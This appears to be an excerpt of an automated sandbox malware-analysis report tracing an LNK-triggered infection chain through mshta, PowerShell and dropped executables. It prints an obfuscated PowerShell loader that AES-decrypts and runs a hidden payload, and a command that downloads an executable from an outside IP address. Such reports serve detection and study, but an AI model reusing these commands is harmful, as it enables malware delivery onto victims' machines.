Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Guard.exe	Section loaded: version.dll
Source: C:\Users\Public\Guard.exe	Section loaded: winmm.dll
Source: C:\Users\Public\Guard.exe	Section loaded: mpr.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wininet.dll
Source: C:\Users\Public\Guard.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Guard.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Guard.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Guard.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: napinsp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wshbth.dll
Source: C:\Users\Public\Guard.exe	Section loaded: nlaapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Guard.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: winrnr.dll
Source: C:\Users\Public\Guard.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: 7A2lfjTYNf.lnk

LNK file: ..\..\..\..\Windows\System32\Wbem\wmic.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000006.00000003.2212037482.000001E84F29A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2212152463.000001E84F205000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2211529393.000001E853230000.00000004.00000020.00020000.00000000.sdmp, ghepduy1325[1].6.dr
Source:	Binary string: sethc.pdb source: mshta.exe, 00000006.00000003.2212037482.000001E84F29A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2212152463.000001E84F205000.00000004.00000020.00020000.00000000.sdmp, ghepduy1325[1].6.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6)
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6)	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe""

Source: ghepduy1325[1].6.dr

Static PE information: 0xDA18FDB4 [Thu Dec 13 08:35:00 2085 UTC]

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BB7634 LoadLibraryA,GetProcAddress,

19_2_00007FF6B5BB7634

Source: ghepduy1325[1].6.dr

Static PE information: real checksum: 0x20826 should be: 0x6e6a6

Source: ghepduy1325[1].6.dr

Static PE information: section name: .didat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD33BA00BD pushad ; iretd	5_2_00007FFD33BA00C1
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B578FD push rdi; ret	19_2_00007FF6B5B57904
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B57399 push rdi; ret	19_2_00007FF6B5B573A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD337000BD pushad ; iretd	24_2_00007FFD337000C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
